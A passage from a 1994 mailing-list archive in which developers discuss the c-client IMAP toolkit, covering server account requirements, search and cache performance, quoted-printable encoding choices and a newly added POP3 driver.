) id AA17417; Thu, 26 May 94 18:37:58 -0700 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA25464; Thu, 26 May 94 18:37:50 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA08154; Thu, 26 May 94 18:37:44 -0700 Date: Thu, 26 May 1994 18:28:18 -0700 (PDT) From: Mark Crispin Subject: re: More information about installing/using imap. To: "C. R. Oldham" Cc: IMAP Interest List , c-client Interest List In-Reply-To: <9405261805.AA01883@socrates.ed.asu.edu> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Thu, 26 May 94 11:05:49 MST, C. R. Oldham wrote: > I've recently become interested in imap especially since it > supports accessing Usenet news. However, I can't seem to find > any information about installing and using the utilities. This is really a question about the c-client implementation of IMAP as opposed to an IMAP protocol question, and should probably be continued on the c-client list instead of the IMAP list. The technical notes that come along with Pine describe installation, as does the README file. > Do all users receiving mail via imap need an account on my machine? This is normally the case in the c-client implmentation; however, you can change this with some modification. The file imap/c-client/log_???.c (there are different files for different systems) has a routine called server_login() which determines the authentication policy; as written it uses the information from the /etc/passwd file. Similarly, the file imap/c-client/env_unix.c has code which defines what the interpretation of the ``system mailbox'' and the ``home directory'' is. Although ``giving every IMAP user an account'' seems to be an unreasonable burden, you have to consider what you want out of an IMAP user ID: 1) unique user identifiers, and authentication of that user identifier. 2) access control between user identifiers, so that a user cannot access another user's data without authorization. 3) a place for the storage of the user's INBOX. 4) a place for the storage of the user's secondary mailboxes. When you add up all these needs, you quickly find that an alternative mechanism requires at least as much work as an entry in /etc/passwd -- you have to store the (userid/password/mailbox location) data somewhere, and you have to have some mechanism for access control (which UNIX UIDs and file protections generally accomplish). We have dedicated servers which are imap-only and that users cannot log in to. We enforce this by having their shells set so they can not log in, or set so that only an exec of /etc/rimapd is permitted. > Is there a FAQ for imap? Not yet, but hopefully there will be once the dust settles on the specification. From pinedev@shivax2.cac.washington.edu Mon May 30 13:45:25 1994 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA18583; Mon, 30 May 94 13:45:25 -0700 Received: by mx1.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA01429; Mon, 30 May 94 13:45:09 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from CAMIS.Stanford.EDU by mx1.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA01423; Mon, 30 May 94 13:45:07 -0700 Received: from [36.95.0.149] (Mac-Treister.Stanford.EDU [36.95.0.149]) by CAMIS.Stanford.EDU (8.6.8.1/8.6.5) with SMTP id NAA04836 for ; Mon, 30 May 1994 13:45:06 -0700 Date: Mon, 30 May 1994 13:45:27 -0700 From: Adam Treister Subject: A couple simple questions To: c-client@cac.washington.edu Message-Id: Mime-Version: 1.0 Content-Type: TEXT/plain; charset=ISO-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE I have a couple of questions: 1) I'm doing something wrong with searches. I send off the search string to the server, and then collect my results by going: =09for (i =3D 1; i <=3D NMSGS(stream); i ++) =09{ =09=09MESSAGECACHE *element =3D GetElement(i); =09=09if (element->searched) =09=09=09numFound ++; =09} This works okay, except forces the loading of the cache, and on a big=20 mailbox (my current test box is about 900 msgs) ties up the program for a= =20 minute or two. Does a hit from a search guarentee the element will be in memory? =20 Can I change this to=20 =09for (i =3D 1; i <=3D NMSGS(stream); i ++) =09{ =09=09MESSAGECACHE *element =3D mail_elt(stream,i); =09=09if (element) if (element->searched) =09=09 =09numFound ++; =09} or is there a better way? 2) Quoted-printable is not terribly attractive to non-MIME compliant= =20 readers. I notice that Pine does not seem to send encode messages if you just type i= n=20 simple text, but Mailstrom is currently encoding everything. Is there any= =20 code someone can point me to which scans the body of the message, and=20 formats accordingly. Tx for the help, Adam From pinedev@shivax2.cac.washington.edu Mon May 30 14:13:59 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA19048; Mon, 30 May 94 14:13:59 -0700 Received: by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA20840; Mon, 30 May 94 14:13:45 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA20834; Mon, 30 May 94 14:13:44 -0700 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA03700; Mon, 30 May 94 14:13:33 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA25396; Mon, 30 May 94 14:13:25 -0700 Date: Mon, 30 May 1994 13:52:09 -0700 (PDT) From: Mark Crispin Subject: re: A couple simple questions To: Adam Treister Cc: c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Mon, 30 May 1994 13:45:27 -0700, Adam Treister wrote: > Does a hit from a search guarentee the element will be in memory? > Can I change this to > for (i = 1; i <= NMSGS(stream); i ++) > { > MESSAGECACHE *element = mail_elt(stream,i); > if (element) > if (element->searched) > numFound ++; > } > or is there a better way? This guess is correct. You do not have to do any cache loading after a mail_search() call since the elt->searched flag is set up in the in-memory cache. Sniffing at elt->searched is one of the few instances where it is correct to use mail_elt() without any mail_fetchstructure() or mail_fetchflags() call first. > I notice that Pine does not seem to send encode messages if you just type in > simple text, but Mailstrom is currently encoding everything. Is there any > code someone can point me to which scans the body of the message, and > formats accordingly. I think that Pine checks for 8-bit characters and an ``excessive'' number of non-printing control characters (delete, and all characters with ASCII values less than 0x20 except for ESC and CTRL/H - CTRL/O). The control characters that should not trigger quoted-printable are: CTRL/H backspace CTRL/I tab CTRL/J linefeed CTRL/K vertical tab CTRL/L formfeed CTRL/M return CTRL/N shift-in (used in East Asian encodings) CTRL/O shift-out (used in East Asian encodings) ESC escape (used in East Asian encodings) From pinedev@shivax2.cac.washington.edu Tue May 31 06:00:13 1994 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA04026; Tue, 31 May 94 06:00:13 -0700 Received: by mx1.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA16567; Tue, 31 May 94 05:59:56 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from uucp0.iij.ad.jp by mx1.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA16561; Tue, 31 May 94 05:59:54 -0700 Received: from wincgw1.winc.ad.jp (wincgw1.winc.ad.jp [202.15.200.1]) by uucp0.iij.ad.jp (8.6.9+2.4Wb/3.3Wb-UUCP) with SMTP id VAA26931 for ; Tue, 31 May 1994 21:59:51 +0900 Received: by wincgw1.winc.ad.jp (5.67+1.6W/4.18:3.7:winc:931216) id AA17189; Tue, 31 May 94 22:00:07 JST Received: by synapse.senri-i.or.jp (5.67+1.6W/4.18:3.7:synapse:931220) id AA06809; Tue, 31 May 94 21:59:43 JST Received: from ford.airco.co.jp by airco.co.jp (4.1/SMI-4.1) id AA27187; Tue, 31 May 94 21:04:49 JST Received: by ford.airco.co.jp (4.1/6.4J.6) id AA06213; Tue, 31 May 94 21:04:04 JST Date: Tue, 31 May 94 21:04:04 JST From: makr@airco.co.jp (Mark Keasling) Message-Id: <9405311204.AA06213@ford.airco.co.jp> To: c-client@cac.washington.edu Subject: How do I determine number of unseen and deleted message guickly Mark, I am trying to correct our dismal performance with the IMAP driver when a remote mailbox contains deleted or unseen messages. Basically, I want to be able to get the number of unseen and deleted messages and am not particularly interested in which ones are unseen or deleted. These values are used in mailbox status information and are checked very frequently. Moving the cursor from one item to the next generates two calls to mail_search, one to determine the number of unseen messages and another to determine the number of undeleted messages. When the mailbox is remote and as long as deleted and unseen are zero, return is almost immediate; but, if new mail arrives or messages are deleted the performance drops markedly about to 7-8 seconds from initiation to completion. A significant part of that time seems to be spent in the c-client waiting for the server to respond. What I would like to know is, is there a fast way to accurately obtain the mailbox's deleted and unseen counts without having to use mail_search? Mark K. From pinedev@shivax2.cac.washington.edu Tue May 31 19:02:00 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA26868; Tue, 31 May 94 19:02:00 -0700 Received: by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA24029; Tue, 31 May 94 19:01:32 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA24023; Tue, 31 May 94 19:01:31 -0700 Received: by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA05906; Tue, 31 May 94 19:01:11 -0700 Date: Tue, 31 May 1994 19:01:09 -0700 (PDT) From: Mark Crispin To: Mark Keasling Cc: c-client Interest List Subject: Re: How do I determine number of unseen and deleted message guickly In-Reply-To: <9405311204.AA06213@ford.airco.co.jp> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Tue, 31 May 1994, Mark Keasling wrote: > I am trying to correct our dismal performance with the IMAP driver when > a remote mailbox contains deleted or unseen messages. Basically, > I want to be able to get the number of unseen and deleted messages and > am not particularly interested in which ones are unseen or deleted. These > values are used in mailbox status information and are checked very frequently. Once you have done a mail_search() to get the initial count of deleted and unseen messages, you can keep track of the changes in message status caused by your application. This doesn't help you with shared formats such as tenex and MTX which allow multiple simultaneous flag updates, but perhaps you can do the mail_search() update on a slower clock to fix up any cache inaccuracies. What is of greater concern is why the mail_search() is taking so long. Normally, I would suspect search pre-fetching of envelopes (this can be disabled in modern versions of c-client via a mail_parameters() call) but this isn't an issue with your application. I'd suggest turning on IMAP telemetry (via the OP_DEBUG flag in the mail_open() call) and logging it (from mm_dlog()) into a file. Then look to see if there is anything egregiously wrong in the telemetry. Pre-fetching would show up as a FETCH of envelopes after a SEARCH, but as I said I doubt it's happening unless you're doing something like mail_gc() in a misguided notion to save memory. More likely there is some performance problem with your server. Since you have a large mailbox and are using a server with only 8MB memory, try using the tenex format for mail and see if that improves performance. I suspect that your server is swapping itself to death; an 8MB system is not a reasonable configuration in this day and age. From pinedev@shivax2.cac.washington.edu Tue May 31 20:01:37 1994 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA27645; Tue, 31 May 94 20:01:37 -0700 Received: by mx1.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA06075; Tue, 31 May 94 20:01:27 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from uucp0.iij.ad.jp by mx1.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA06069; Tue, 31 May 94 20:01:24 -0700 Received: from wincgw1.winc.ad.jp (wincgw1.winc.ad.jp [202.15.200.1]) by uucp0.iij.ad.jp (8.6.9+2.4Wb/3.3Wb-UUCP) with SMTP id MAA04253; Wed, 1 Jun 1994 12:01:20 +0900 Received: by wincgw1.winc.ad.jp (5.67+1.6W/4.18:3.7:winc:931216) id AA15105; Wed, 1 Jun 94 12:01:35 JST Received: by synapse.senri-i.or.jp (5.67+1.6W/4.18:3.7:synapse:931220) id AA29284; Wed, 1 Jun 94 12:01:13 JST Received: from ford by airco.co.jp (4.1/SMI-4.1) id AA04285; Wed, 1 Jun 94 11:41:46 JST Message-Id: <9406010241.AA04285@airco.co.jp> Date: Wed, 1 Jun 1994 11:40:56 +0900 (JST) From: "Mark A. Keasling" Reply-To: "Mark A. Keasling" Subject: Re: How do I determine number of unseen and deleted message guickly To: Mark Crispin Cc: c-client Interest List Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Tue, 31 May 1994 19:01:09, Mark Crispin wrote... > Once you have done a mail_search() to get the initial count of deleted > and unseen messages, you can keep track of the changes in message status > caused by your application. This doesn't help you with shared formats > such as tenex and MTX which allow multiple simultaneous flag updates, but > perhaps you can do the mail_search() update on a slower clock to fix up > any cache inaccuracies. That sounds like a reasonable approach. Before, I was using the mail_fetchstructure() and then mail_elt and examining the MESSAGECACHE for this information as documented in Internal.doc. Since all of the envelopes have been fetched already to build list items, would it be better in this case to use mail_fetchstructure() and mail_elt()? > > What is of greater concern is why the mail_search() is taking so long. : > this isn't an issue with your application. I'd suggest turning on IMAP > telemetry (via the OP_DEBUG flag in the mail_open() call) and logging it > (from mm_dlog()) into a file. Then look to see if there is anything I'll try this to see what comes out. > I suspect that your server is swapping itself to death; This is the most likely cause. > an 8MB system is not a reasonable configuration in this day and age. I couldn't agree more. -- Mark Keasling AIR Company LTD, Nishikawa Mitsui Bldg, 1-3-14 Kitahama, Chuo-ku, Osaka 541 email: makr@airco.co.jp phone: +1 81 6201 4307 fax: +1 81 6201 2107 From pinedev@shivax2.cac.washington.edu Tue May 31 22:35:55 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA29845; Tue, 31 May 94 22:35:55 -0700 Received: by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA27272; Tue, 31 May 94 22:35:37 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA27266; Tue, 31 May 94 22:35:33 -0700 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA06017; Tue, 31 May 94 22:35:23 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA01623; Tue, 31 May 94 22:35:15 -0700 Date: Tue, 31 May 1994 22:31:50 -0700 (PDT) From: Mark Crispin Subject: Re: How do I determine number of unseen and deleted message guickly To: "Mark A. Keasling" Cc: Mark Crispin , c-client Interest List In-Reply-To: <9406010241.AA04285@airco.co.jp> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Wed, 1 Jun 1994 11:40:56 +0900 (JST), Mark A. Keasling wrote: > That sounds like a reasonable approach. Before, I was using the > mail_fetchstructure() and then mail_elt and examining the MESSAGECACHE for > this information as documented in Internal.doc. Since all of the envelopes > have been fetched already to build list items, would it be better in this > case to use mail_fetchstructure() and mail_elt()? The only disadvantage to doing this is in the case of multiple shared read/write access to the mailbox; you won't get the flag updates. However, the very latest c-client/imapd does quite a bit towards making sure that flag updates are communicated to the client in this case. One general comment, though, is that doing all those mail_fetchstructure() calls is likely to be much slower than the search. As I told you before, it's better to do a mail_fetchstructure() only when you actually have to display it, since that is one of the most expensive functions in c-client. From pinedev@shivax2.cac.washington.edu Wed Jun 1 01:38:54 1994 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA03251; Wed, 1 Jun 94 01:38:54 -0700 Received: by mx1.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA11462; Wed, 1 Jun 94 01:38:45 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from uucp0.iij.ad.jp by mx1.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA11456; Wed, 1 Jun 94 01:38:42 -0700 Received: from wincgw1.winc.ad.jp (wincgw1.winc.ad.jp [202.15.200.1]) by uucp0.iij.ad.jp (8.6.9+2.4Wb/3.3Wb-UUCP) with SMTP id RAA24470; Wed, 1 Jun 1994 17:31:07 +0900 Received: by wincgw1.winc.ad.jp (5.67+1.6W/4.18:3.7:winc:931216) id AA10595; Wed, 1 Jun 94 17:31:22 JST Received: by synapse.senri-i.or.jp (5.67+1.6W/4.18:3.7:synapse:931220) id AA23188; Wed, 1 Jun 94 17:30:52 JST Received: from ford by airco.co.jp (4.1/SMI-4.1) id AA10301; Wed, 1 Jun 94 17:29:29 JST Message-Id: <9406010829.AA10301@airco.co.jp> Date: Wed, 1 Jun 1994 17:28:40 +0900 (JST) From: "Mark A. Keasling" Reply-To: "Mark A. Keasling" Subject: Re: How do I determine number of unseen and deleted message guickly To: Mark Crispin Cc: c-client Interest List Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Tue, 31 May 1994 22:31:50 -0700 (PDT), Mark Crispin wrote... > On Wed, 1 Jun 1994 11:40:56 +0900 (JST), Mark A. Keasling wrote: > > That sounds like a reasonable approach. Before, I was using the > > mail_fetchstructure() and then mail_elt and examining the MESSAGECACHE for > > this information as documented in Internal.doc. Since all of the envelopes > > have been fetched already to build list items, would it be better in this > > case to use mail_fetchstructure() and mail_elt()? > > The only disadvantage to doing this is in the case of multiple shared > read/write access to the mailbox; you won't get the flag updates. However, > the very latest c-client/imapd does quite a bit towards making sure that flag > updates are communicated to the client in this case. > > One general comment, though, is that doing all those mail_fetchstructure() > calls is likely to be much slower than the search. As I told you before, it's > better to do a mail_fetchstructure() only when you actually have to display > it, since that is one of the most expensive functions in c-client. > Ok, then I should avoid unnecessary mail_fetchstructure calls. All I want to do is examine 5 bits (the flags) in the message cache. The preferred method to get the cache is in conjunction with a mail_fetchstructure. I call mail_fetchstructure for every message in the mailbox to build the message list header items when it is opened (makes opening a folder very slow). But that being the case, should I not be able to use mail_elt on the stream after that without having to first call mail_fetchstructure every time? Is there a way to determine if mail_fetchstructure needs to be called for a particular message? Is there a way to sync the local message cache with the IMAP server's cache? What is the most efficient way to examine those 5 bits? Regards, -- Mark Keasling AIR Company LTD, Nishikawa Mitsui Bldg, 1-3-14 Kitahama, Chuo-ku, Osaka 541 email: makr@airco.co.jp phone: +1 81 6201 4307 fax: +1 81 6201 2107 From pinedev@shivax2.cac.washington.edu Sun Jun 5 17:41:39 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA02044; Sun, 5 Jun 94 17:41:39 -0700 Received: by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA25168; Sun, 5 Jun 94 17:41:17 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA25162; Sun, 5 Jun 94 17:41:15 -0700 Received: by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA12736; Sun, 5 Jun 94 17:41:08 -0700 Date: Sun, 5 Jun 1994 17:41:05 -0700 (PDT) From: Mark Crispin To: "Mark A. Keasling" Cc: c-client Interest List Subject: Re: How do I determine number of unseen and deleted message guickly In-Reply-To: <9406010829.AA10301@airco.co.jp> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 1 Jun 1994, Mark A. Keasling wrote: > Ok, then I should avoid unnecessary mail_fetchstructure calls. By ``avoid unnecessary mail_fetchstructure() calls'' this does not mean that mail_fetchstructure() is any slower if you have earlier fetched the structure of that message. c-client caching makes that a no-op. My recommendations are as follows: 1) mail_fetchflags() is faster than mail_fetchstructure(), but although it loads the cache it does not consult the cache. That means that it will happily refetch flags that are already cached. Since modern versions of c-client update the cache dynamically with shared folders (including via IMAP), there is generally never any reason to do a mail_fetchflags() of all messages call more than once. 2) If you are going to be calling mail_fetchstructure() on a message shortly, it is better not to use mail_fetchflags() and instead to structure your code so that you can defer sniffing at the flags until you are ready to do a mail_fetchstructure(). 3) If you are not going to need the MIME body structure, it is better to give a NIL argument to the returned body pointer to mail_fetchstructure() to avoid doing the MIME parse. Later, when you need the MIME body structure, you can do a new mail_fetchstructure() with a non-NIL returned body pointer. 4) Operations on all messages are slow. Avoid them. Instead of fetching all messages to build a browser list, build the list with dummy contents and replace the dummy contents with the real data only when you need to display it on the screen. That way, you only do a mail_fetchstructure() when you really need it. 5) Although mail_fetchstructure() is slow, it is cached, so there is no cost in doing it again after the first time (modulo the question of the MIME parse data). 6) SEARCH for flags is faster than mail_fetchflags() and then running through the flags in the cache. Consider turning off prefetching (this is a mail_parameters() call in recent versions of c-client). > I call mail_fetchstructure for every message > in the mailbox to build the message list header items when it is > opened (makes opening a folder very slow). But that being the case, > should I not be able to use mail_elt on the stream after that without > having to first call mail_fetchstructure every time? As I said above, you should avoid doing this when a mailbox is opened. But, having done this, subsequent mail_fetchstructure() calls are going to be no-ops; no IMAP will be generated. So you will not gain any performance advantage from getting rid of mail_fetchstructure() calls, and getting rid of those calls runs the risk of your program breaking when you fix your program not to do mail_fetchstructure() when opening the folder. So, the answer to your question is ``yes, but you won't gain anything''. > Is there a way > to determine if mail_fetchstructure needs to be called for a particular > message? This is not a meaningful concept. If it doesn't need to be called, then calling it is a no-op. > Is there a way to sync the local message cache with the IMAP > server's cache? This should be automatic in modern c-clients. > What is the most efficient way to examine those 5 bits? If you have already fetched flags for all messages (either via mail_fetchflags() or by mail_fetchstructure()) then you might as well run through the cache via mail_elt() and look at the bits. My own preference is to avoid fetching flags for all messages, and then call mail_fetchstructure() as needed. From pinedev@shivax2.cac.washington.edu Sun Jun 5 18:49:16 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA03033; Sun, 5 Jun 94 18:49:16 -0700 Received: by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA26043; Sun, 5 Jun 94 18:49:02 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from ANDREW.CMU.EDU by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA26037; Sun, 5 Jun 94 18:49:01 -0700 Received: (from postman@localhost) by andrew.cmu.edu (8.6.7/8.6.6) id VAA07045 for c-client@CAC.Washington.EDU; Sun, 5 Jun 1994 21:48:58 -0400 Received: via switchmail; Sun, 5 Jun 1994 21:48:58 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Sun, 5 Jun 1994 21:47:10 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Sun, 5 Jun 1994 21:47:09 -0400 (EDT) Received: from BatMail.robin.v2.14.CUILIB.3.45.SNAP.NOT.LINKED.hogtown.andrew.cmu.edu.sun4c.411 via MS.5.6.hogtown.andrew.cmu.edu.sun4c_411; Sun, 5 Jun 1994 21:47:05 -0400 (EDT) Message-Id: <4hwc0Nu00WBwE76WNC@andrew.cmu.edu> Date: Sun, 5 Jun 1994 21:47:05 -0400 (EDT) From: John Gardiner Myers To: c-client@CAC.Washington.EDU Subject: Re: How do I determine number of unseen and deleted message guickly In-Reply-To: References: Beak: Is While I certainly agree with the bulk of Mark's advice (especially of not calling mail_fetchstructure() on every message on open--mailboxes can have thousands or tens of thousands of messages), I should point out that some of the costs are slightly different when talking to a Cyrus server. The Cyrus server implements fetching the ENVELOPE and/or BODY by sending back a precalculated string from a memory-mapped file. The cost of the first mail_fetchstructure() call is essentially the network round-trip plus the network bandwith to transfer the data. The strategy of calling mail_fetchstructure() with a NIL body pointer followed by a later non-NIL call will cost you a round trip at the benefit of potentially not having to use some network bandwith. -- _.John G. Myers Internet: jgm+@CMU.EDU LoseNet: ...!seismo!ihnp4!wiscvm.wisc.edu!give!up From pinedev@shivax2.cac.washington.edu Mon Jun 6 14:58:38 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA06856; Mon, 6 Jun 94 14:58:38 -0700 Received: by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA17319; Mon, 6 Jun 94 14:58:16 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA17311; Mon, 6 Jun 94 14:58:10 -0700 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA13987; Mon, 6 Jun 94 14:58:04 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA25572; Mon, 6 Jun 94 14:57:58 -0700 Date: Mon, 6 Jun 1994 14:51:48 -0700 (PDT) From: Mark Crispin Subject: IMAP toolkit reorganization To: c-client Interest List Cc: E-Mail Development Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII The IMAP toolkit (mail/imap.tar.Z on ftp.cac.washington.edu) has been reorganized to remove components that aren't part of its fundamental mission. MailManager, EasyMail, MM-D, and mapser are no longer part of the IMAP toolkit, and now have their own distributions in the mail/ directory on ftp.cac.washington.edu. From pinedev@shivax2.cac.washington.edu Mon Jun 6 18:03:25 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA12517; Mon, 6 Jun 94 18:03:25 -0700 Received: by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA21313; Mon, 6 Jun 94 18:03:06 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from wincgw1.winc.ad.jp by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA21299; Mon, 6 Jun 94 18:03:00 -0700 Received: by wincgw1.winc.ad.jp (5.67+1.6W/4.18:3.7:winc:931216) id AA25871; Fri, 7 Jun 96 10:02:51 JST Received: by synapse.senri-i.or.jp (5.67+1.6W/4.18:3.7:synapse:931220) id AA14913; Tue, 7 Jun 94 10:02:46 JST Received: from ford by airco.co.jp (4.1/SMI-4.1) id AA26818; Mon, 6 Jun 94 14:36:35 JST Message-Id: <9406060536.AA26818@airco.co.jp> Date: Mon, 6 Jun 1994 14:35:25 +0900 (JST) From: "Mark A. Keasling" Reply-To: "Mark A. Keasling" Subject: Re: How do I determine number of unseen and deleted message guickly To: Mark Crispin Cc: c-client Interest List Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Mark, I realize that building the entire browser list when opening a mailbox is not a good idea due to the slowness inherent in that operation. However, I unfortunately haven't had the opportunity to set things up to do it correctly as you have repeatedly suggested. In a couple of months though, I am expecting (hoping) to be able to give our interface an overhaul and incorporate the IMAP4 c-client at that time I may be able to make those adjustments. -- Mark Keasling AIR Company LTD, Nishikawa Mitsui Bldg, 1-3-14 Kitahama, Chuo-ku, Osaka 541 email: makr@airco.co.jp phone: +1 81 6201 4307 fax: +1 81 6201 2107 From pinedev@shivax2.cac.washington.edu Tue Jun 7 00:02:54 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA19684; Tue, 7 Jun 94 00:02:54 -0700 Received: by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA26957; Tue, 7 Jun 94 00:02:39 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 ) id AA26951; Tue, 7 Jun 94 00:02:38 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA15866; Tue, 7 Jun 94 00:02:36 -0700 Date: Mon, 6 Jun 1994 23:50:38 -0700 (PDT) From: Mark Crispin Subject: POP3 driver added to c-client To: c-client Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII The latest version of c-client now has a POP3 driver. This is mostly useful as a checklist item, or if you feel a need to convince yourself or your clients just how pathetic POP is compared to IMAP. The syntax for POP3 mailbox names is similar to that for NNTP names; you have a switch of /service=pop3 or /pop3 inside the braces. For example, for a server named blurdybloop: {blurdybloop/pop3} or {blurdybloop/service=pop3} {blurdybloop/pop3}inbox or {blurdybloop/service=pop3}inbox You are not permitted to have a remote mailbox name of other than INBOX. Blame the designers of POP3. All mailbox flags are per-session. There's no attempt to derive flags from the POP3 LAST command (it's unreliable -- blame the designers of POP3) or Status: lines (the server isn't necessarily UNIX!). The \Deleted flag translates into a POP3 delete when you do a mail_expunge(). Expunged messages aren't removed from the sequence (blame the designers of POP3), but you can't do much useful with an expunged message. If you had fetched its envelope, that will still be in the local cache but the texts will be gone. I may consider making expunged POP3 messages disappear. Full IMAP2 searching works, as does MIME parsing. From pinedev@shivax2.cac.washington.edu Thu Jun 9 10:53:02 1994 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.4/UW-NDC Revision: 2.30 